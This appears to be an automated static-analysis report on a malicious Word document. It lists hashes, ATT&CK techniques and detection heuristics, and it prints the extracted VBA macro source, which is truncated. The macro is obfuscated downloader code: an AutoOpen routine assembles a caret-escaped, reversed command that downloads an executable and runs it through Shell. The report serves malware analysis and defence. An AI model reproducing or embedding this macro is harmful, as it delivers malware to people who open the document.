Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4886251faf8dccf3…

MALICIOUS

Office (OLE)

83.9 KB Created: 2018-09-21 09:08:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 720eb70f3bd3d16900a10314ba71d533 SHA-1: 770a0cc2a25732403033f698a4cdaeb1106d1583 SHA-256: 4886251faf8dccf313bfbf1a0929ebfaf769099433ee7739622873aeb6922439
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute a command, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Downloader' further supports this assessment. No specific family could be identified due to obfuscation.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6692547-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6692547-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8518 bytes
SHA-256: 7de9d4d793c1d95b634d129e06bcba398173ddb85db1840401d07c72da959099
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bjCNjSiHD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim KINnw()
ReDim KINnw(5)
KINnw(0) = MidB(BtpQmD, 409, 800)
KINnw(1) = Right(bViGnPr, 21)
KINnw(2) = Mid(QzIKbO, 716, 971)
KINnw(3) = "pwrQAzTij"
KINnw(4) = "tUCwuCiEfjYJS"

   Dim aISnCK()
ReDim aISnCK(5)
aISnCK(0) = Left(fTHYHwC, 760)
aISnCK(1) = Left(LRqHh, 853)
aISnCK(2) = "ZDQpF"
aISnCK(3) = "ZJiosqR"
aISnCK(4) = MidB(izBUG, 458, 494)

   Dim QcGLY()
ReDim QcGLY(3)
QcGLY(0) = Left(Vnvhst, 691)
QcGLY(1) = Right(UiGtwuT, 77)
QcGLY(2) = Left(VBhUo, 739)

   Dim zErRa()
ReDim zErRa(3)
zErRa(0) = Right(nYfrpKU, 671)
zErRa(1) = MidB(FfzHANC, 279, 153)
zErRa(2) = Mid(KFOGjfkY, 561, 41)

   Dim RSNjdQ()
ReDim RSNjdQ(4)
RSNjdQ(0) = MidB(MUjzw, 356, 575)
RSNjdQ(1) = Mid(zsJuqj, 407, 323)
RSNjdQ(2) = MidB(YSzMFmr, 632, 454)
RSNjdQ(3) = Right(NiuTkl, 232)

bivDI (KeyString(12 + 6 + 8 + 9 + 32) + coTmDfSHtYa + awzNwMBpIAzIZ + LhqzibEoMRkKrz)
   Dim wBujY()
ReDim wBujY(3)
wBujY(0) = MidB(wcXNsNC, 979, 133)
wBujY(1) = Left(dGPiY, 109)
wBujY(2) = Left(SYRrrrVi, 842)

   Dim UNBSn()
ReDim UNBSn(3)
UNBSn(0) = Right(HfusImS, 122)
UNBSn(1) = MidB(wnmJH, 928, 515)
UNBSn(2) = Left(OWImvOBK, 792)

   Dim dvXuHY()
ReDim dvXuHY(5)
dvXuHY(0) = Mid(KFlSRV, 128, 277)
dvXuHY(1) = Right(XEqZEtWn, 930)
dvXuHY(2) = "ALRsiTKSc"
dvXuHY(3) = Right(Ysfkh, 729)
dvXuHY(4) = Left(FwEmfh, 495)

End Sub
Function bivDI(AjazizihNv As String)
   Dim JXtio()
ReDim JXtio(2)
JXtio(0) = Mid(DNUtHCzz, 690, 38)
JXtio(1) = MidB(JzhsKcL, 136, 876)

Shell@ AjazizihNv, CInt(msoBarTypeNormal)
   Dim jAAad()
ReDim jAAad(2)
jAAad(0) = Right(fkXbkVsX, 491)
jAAad(1) = "PtuHT"

End Function

Attribute VB_Name = "NvcwvibunTKk"
Function coTmDfSHtYa()
Dim NaMfh()
ReDim NaMfh(4)
NaMfh(0) = MidB(jVCsjQn, 148, 645)
NaMfh(1) = MidB(hlrQUwd, 323, 379)
NaMfh(2) = Mid(EbpzH, 910, 102)
NaMfh(3) = Right(MPOif, 106)

cOcMBiaVwFT = "md /V^" + ":/C" + ChrW(1 + 0 + 0 + 3 + 30) + "^s" + "^e^t ^P" + "A=^ ^ ^ " + "  ^  ^     "
Dim CvAtwH()
ReDim CvAtwH(5)
CvAtwH(0) = "vvwZnWAz"
CvAtwH(1) = Left(kDGUR, 682)
CvAtwH(2) = MidB(LdlcD, 19, 370)
CvAtwH(3) = Right(NEIrXS, 477)
CvAtwH(4) = "Y"

   Dim aVAYlu()
ReDim aVAYlu(3)
aVAYlu(0) = MidB(rUkhB, 333, 952)
aVAYlu(1) = "MdaIjDkkLivRV"
aVAYlu(2) = "F"

   Dim DOCvS()
ReDim DOCvS(3)
DOCvS(0) = Mid(TjkHmLX, 142, 901)
DOCvS(1) = Mid(SSCftl, 592, 805)
DOCvS(2) = Right(puqcjoP, 962)

LaGchQDMbpj = "^   ^  ^}}^{" + "hctac^}" + "^;^k^a^e" + "r^b^;" + "BP" + "^b^$ m^" + "etI-^e"
Dim zrwaMQ()
ReDim zrwaMQ(2)
zrwaMQ(0) = "cmknGDJpJfsE"
zrwaMQ(1) = MidB(GFFYX, 438, 958)

   Dim rKCXpd()
ReDim rKCXpd(5)
rKCXpd(0) = MidB(EMrwjTi, 780, 315)
rKCXpd(1) = Mid(iYucbM, 667, 273)
rKCXpd(2) = Left(bkLzi, 53)
rKCXpd(3) = MidB(zUBaNna, 388, 292)
rKCXpd(4) = Mid(VFbYo, 569, 163)

   Dim tvHQzT()
ReDim tvHQzT(2)
tvHQzT(0) = Mid(hBwsM, 160, 925)
tvHQzT(1) = "TN"

hRwuFUi = "ko" + "v" + "nI;)^BP" + "^b$^ ,C^iZ$" + "(^e" + "^l^iF^d^" + "aolnwo^" + "D^.^Pa^i" + "^$^{^yr^t{)" + "j^" + "j^D$^ ni^ "
Dim TmZbJ()
ReDim TmZbJ(2)
TmZbJ(0) = MidB(iulZCqS, 559, 373)
TmZbJ(1) = MidB(fMQkSn, 280, 207)

   Dim EaqSq()
ReDim EaqSq(2)
EaqSq(0) = "u"
EaqSq(1) = MidB(uzHqWz, 275, 791)

   Dim wQiIK()
ReDim wQiIK(4)
wQiIK(0) = Right(huuWwdR, 114)
wQiIK(1) = Right(wQVSEjd, 448)
wQiIK(2) = Left(RBYEk, 613)
wQiIK(3) = MidB(OdEnSL, 556, 298)

DMBSUjkS = "C^i^Z$(hc^ae" + "r^" + "o^" + "f^;'e^x^e^" + "." + "'+^O"
Dim wiANR()
ReDim wiANR(5)
wiANR(0) = Left(knFzvI, 911)
wiANR(1) = "nQHNDNJi"
wiANR(2) = Right(jjVZkm, 136)
wiANR(3) = MidB(fNTzk, 7, 635)
wiANR(4) = Mid(jminszPW, 347, 766)

   Dim iwSBu()
ReDim iwSBu(2)
iwSBu(0) = Left(AWWtr, 877)
iwSBu(1) = Right(SsbqIK, 561)

   Dim zZzFU()
ReDim zZzFU(2)
zZzFU(0) = Left(Rhwrz, 27)
zZzFU(1) = MidB(qQvbdDQa, 3
... (truncated)

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